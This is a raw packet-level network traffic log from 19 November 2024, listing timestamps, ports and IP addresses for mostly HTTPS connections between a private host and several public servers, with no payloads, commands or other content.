Nov 19, 2024 00:01:30.978491068 CET	49772	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:31.019354105 CET	443	49772	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:31.028202057 CET	49772	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:31.110088110 CET	443	49772	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:31.110251904 CET	443	49772	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:31.110361099 CET	49772	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:31.122612953 CET	49772	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:31.122654915 CET	443	49772	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:31.136931896 CET	49740	443	192.168.2.4	142.250.181.228
Nov 19, 2024 00:01:31.137001038 CET	443	49740	142.250.181.228	192.168.2.4
Nov 19, 2024 00:01:31.605168104 CET	49769	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:01:31.605226040 CET	443	49769	20.12.23.50	192.168.2.4
Nov 19, 2024 00:01:32.386270046 CET	443	49741	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:32.386447906 CET	443	49741	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:32.386523962 CET	49741	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:33.108772039 CET	49741	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:33.108818054 CET	443	49741	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:33.146384001 CET	49723	80	192.168.2.4	199.232.214.172
Nov 19, 2024 00:01:33.151818037 CET	80	49723	199.232.214.172	192.168.2.4
Nov 19, 2024 00:01:33.151882887 CET	49723	80	192.168.2.4	199.232.214.172
Nov 19, 2024 00:01:34.285679102 CET	443	49736	104.20.6.133	192.168.2.4
Nov 19, 2024 00:01:34.285818100 CET	443	49736	104.20.6.133	192.168.2.4
Nov 19, 2024 00:01:34.285897970 CET	49736	443	192.168.2.4	104.20.6.133
Nov 19, 2024 00:01:35.108031988 CET	49736	443	192.168.2.4	104.20.6.133
Nov 19, 2024 00:01:35.108098030 CET	443	49736	104.20.6.133	192.168.2.4
Nov 19, 2024 00:02:08.141735077 CET	49777	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:02:08.141767025 CET	443	49777	20.12.23.50	192.168.2.4
Nov 19, 2024 00:02:08.141944885 CET	49777	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:02:08.142213106 CET	49777	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:02:08.142227888 CET	443	49777	20.12.23.50	192.168.2.4
Nov 19, 2024 00:02:09.014535904 CET	443	49777	20.12.23.50	192.168.2.4
Nov 19, 2024 00:02:09.014614105 CET	49777	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:02:09.018629074 CET	49777	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:02:09.018637896 CET	443	49777	20.12.23.50	192.168.2.4
Nov 19, 2024 00:02:09.019026995 CET	443	49777	20.12.23.50	192.168.2.4
Nov 19, 2024 00:02:09.028362036 CET	49777	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:02:09.075330973 CET	443	49777	20.12.23.50	192.168.2.4
Nov 19, 2024 00:02:09.219259024 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:09.219290972 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:09.219376087 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:09.219614029 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:09.219629049 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:09.310482979 CET	443	49777	20.12.23.50	192.168.2.4
Nov 19, 2024 00:02:09.310539961 CET	443	49777	20.12.23.50	192.168.2.4
Nov 19, 2024 00:02:09.310606956 CET	443	49777	20.12.23.50	192.168.2.4
Nov 19, 2024 00:02:09.310750961 CET	49777	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:02:09.310750961 CET	49777	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:02:09.310764074 CET	443	49777	20.12.23.50	192.168.2.4
Nov 19, 2024 00:02:09.310815096 CET	49777	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:02:09.430398941 CET	443	49777	20.12.23.50	192.168.2.4
Nov 19, 2024 00:02:09.430480003 CET	443	49777	20.12.23.50	192.168.2.4
Nov 19, 2024 00:02:09.430726051 CET	49777	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:02:09.430735111 CET	443	49777	20.12.23.50	192.168.2.4
Nov 19, 2024 00:02:09.430840969 CET	49777	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:02:09.430846930 CET	443	49777	20.12.23.50	192.168.2.4
Nov 19, 2024 00:02:09.430867910 CET	49777	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:02:09.430911064 CET	443	49777	20.12.23.50	192.168.2.4
Nov 19, 2024 00:02:09.972260952 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:09.972472906 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:09.973794937 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:09.973804951 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:09.974293947 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:09.981026888 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:10.023332119 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:10.230863094 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:10.230921984 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:10.230962992 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:10.230984926 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:10.231003046 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:10.231024027 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:10.231045008 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:10.348980904 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:10.349065065 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:10.349082947 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:10.349100113 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:10.349129915 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:10.349143028 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:10.467228889 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:10.467278004 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:10.467319965 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:10.467334032 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:10.467396021 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:10.585292101 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:10.585350990 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:10.585381985 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:10.585396051 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:10.585437059 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:10.585462093 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:10.703067064 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:10.703109980 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:10.703164101 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:10.703182936 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:10.703242064 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:10.821499109 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:10.821556091 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:10.821769953 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:10.821784973 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:10.821819067 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:10.821849108 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:10.939130068 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:10.939173937 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:10.939394951 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:10.939404011 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:10.939477921 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.057522058 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.057578087 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.057764053 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.057781935 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.057991982 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.058665991 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.058707952 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.058754921 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.058763981 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.058804989 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.058835030 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.178369045 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.178432941 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.178683043 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.178695917 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.178775072 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.293764114 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.293840885 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.293998003 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.294011116 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.294055939 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.294128895 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.411376953 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.411422014 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.411489964 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.411514997 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.411550045 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.411578894 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.459764004 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.459835052 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.459867954 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.459878922 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.459935904 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.459947109 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.459979057 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.460011005 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.460129976 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.460195065 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.460270882 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.460290909 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.460303068 CET	49778	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.460309982 CET	443	49778	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.514517069 CET	49779	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.514597893 CET	443	49779	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.516628981 CET	49780	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.516665936 CET	443	49780	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.516690969 CET	49779	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.516943932 CET	49780	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.517322063 CET	49779	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.517359972 CET	443	49779	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.517561913 CET	49780	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.517579079 CET	443	49780	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.519138098 CET	49781	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.519223928 CET	443	49781	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.519303083 CET	49781	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.519939899 CET	49781	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.519973993 CET	443	49781	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.520021915 CET	49782	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.520030022 CET	443	49782	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.520195961 CET	49782	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.520195961 CET	49782	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.520215988 CET	443	49782	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.521275997 CET	49783	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.521300077 CET	443	49783	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:11.521384001 CET	49783	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.521521091 CET	49783	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:11.521536112 CET	443	49783	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.265747070 CET	443	49781	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.266477108 CET	49781	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.266518116 CET	443	49781	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.267074108 CET	49781	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.267090082 CET	443	49781	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.272047997 CET	443	49782	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.272433043 CET	49782	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.272447109 CET	443	49782	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.272955894 CET	49782	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.272963047 CET	443	49782	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.274229050 CET	443	49783	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.274543047 CET	49783	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.274570942 CET	443	49783	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.275021076 CET	49783	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.275033951 CET	443	49783	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.277707100 CET	443	49779	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.277993917 CET	49779	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.278048038 CET	443	49779	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.278656006 CET	49779	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.278670073 CET	443	49779	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.279633999 CET	443	49780	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.280031919 CET	49780	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.280040026 CET	443	49780	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.280515909 CET	49780	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.280519962 CET	443	49780	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.396104097 CET	443	49781	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.396131992 CET	443	49781	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.396192074 CET	443	49781	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.396274090 CET	49781	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.396274090 CET	49781	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.399863005 CET	49781	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.399863005 CET	49781	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.399887085 CET	443	49781	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.399899960 CET	443	49781	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.400418043 CET	443	49782	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.400473118 CET	443	49782	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.400518894 CET	49782	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.400537968 CET	443	49782	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.400607109 CET	443	49782	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.400655985 CET	49782	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.404335976 CET	443	49783	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.404596090 CET	443	49783	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.404650927 CET	49783	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.411237001 CET	443	49780	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.411556959 CET	443	49780	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.411722898 CET	49780	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.414136887 CET	443	49779	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.414191961 CET	443	49779	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.414273977 CET	49779	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.414349079 CET	443	49779	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.414382935 CET	443	49779	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.414417028 CET	49779	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.414447069 CET	49779	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.424734116 CET	49783	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.424746990 CET	443	49783	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.424760103 CET	49783	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.424766064 CET	443	49783	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.425987005 CET	49780	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.426008940 CET	443	49780	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.426022053 CET	49780	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.426029921 CET	443	49780	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.426723003 CET	49779	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.426723003 CET	49779	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.426763058 CET	443	49779	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.426788092 CET	443	49779	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.428224087 CET	49782	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.428230047 CET	443	49782	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.428244114 CET	49782	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.428247929 CET	443	49782	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.431484938 CET	49784	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.431587934 CET	443	49784	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.431679964 CET	49784	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.433238983 CET	49785	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.433284044 CET	443	49785	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.433343887 CET	49785	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.434103012 CET	49786	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.434123993 CET	443	49786	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.434189081 CET	49786	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.434504032 CET	49784	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.434540033 CET	443	49784	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.435777903 CET	49787	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.435787916 CET	443	49787	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.435839891 CET	49787	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.435920954 CET	49785	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.435936928 CET	443	49785	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.436039925 CET	49787	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.436052084 CET	443	49787	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.436136961 CET	49786	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.436161041 CET	443	49786	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.437166929 CET	49788	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.437241077 CET	443	49788	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:12.437314987 CET	49788	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.437598944 CET	49788	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:12.437638044 CET	443	49788	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.172394991 CET	443	49787	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.173146009 CET	49787	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.173177958 CET	443	49787	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.173860073 CET	49787	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.173866987 CET	443	49787	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.176765919 CET	443	49786	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.176779032 CET	443	49788	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.177242994 CET	49788	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.177304029 CET	443	49788	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.177736998 CET	49786	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.177797079 CET	443	49786	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.177829027 CET	49788	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.177843094 CET	443	49788	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.178380966 CET	49786	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.178399086 CET	443	49786	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.186414957 CET	443	49785	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.186841011 CET	49785	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.186850071 CET	443	49785	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.187397957 CET	49785	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.187402964 CET	443	49785	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.193773985 CET	443	49784	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.194289923 CET	49784	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.194305897 CET	443	49784	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.194802046 CET	49784	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.194812059 CET	443	49784	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.304595947 CET	443	49787	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.304738045 CET	443	49787	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.304821014 CET	49787	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.304939985 CET	49787	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.304986954 CET	443	49787	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.305021048 CET	49787	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.305037022 CET	443	49787	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.308532953 CET	49789	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.308641911 CET	443	49789	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.308746099 CET	49789	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.308994055 CET	49789	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.309026003 CET	443	49789	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.310522079 CET	443	49786	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.310539961 CET	443	49788	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.310693026 CET	443	49786	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.310693979 CET	443	49788	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.310777903 CET	49786	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.310826063 CET	49788	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.310842991 CET	49786	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.310842991 CET	49786	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.310877085 CET	443	49786	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.310919046 CET	443	49786	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.311172962 CET	49788	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.311209917 CET	443	49788	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.311237097 CET	49788	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.311250925 CET	443	49788	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.314429045 CET	49790	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.314474106 CET	443	49790	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.314553022 CET	49790	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.314699888 CET	49791	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.314723015 CET	443	49791	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.314790964 CET	49791	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.314820051 CET	49790	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.314866066 CET	443	49790	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.314930916 CET	49791	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.314960957 CET	443	49791	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.327827930 CET	443	49785	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.327893019 CET	443	49785	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.327944994 CET	49785	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.328118086 CET	49785	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.328125000 CET	443	49785	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.328138113 CET	49785	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.328142881 CET	443	49785	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.330817938 CET	49792	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.330864906 CET	443	49792	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.330938101 CET	49792	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.331151962 CET	49792	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.331178904 CET	443	49792	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.333964109 CET	443	49784	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.334919930 CET	443	49784	13.107.246.43	192.168.2.4
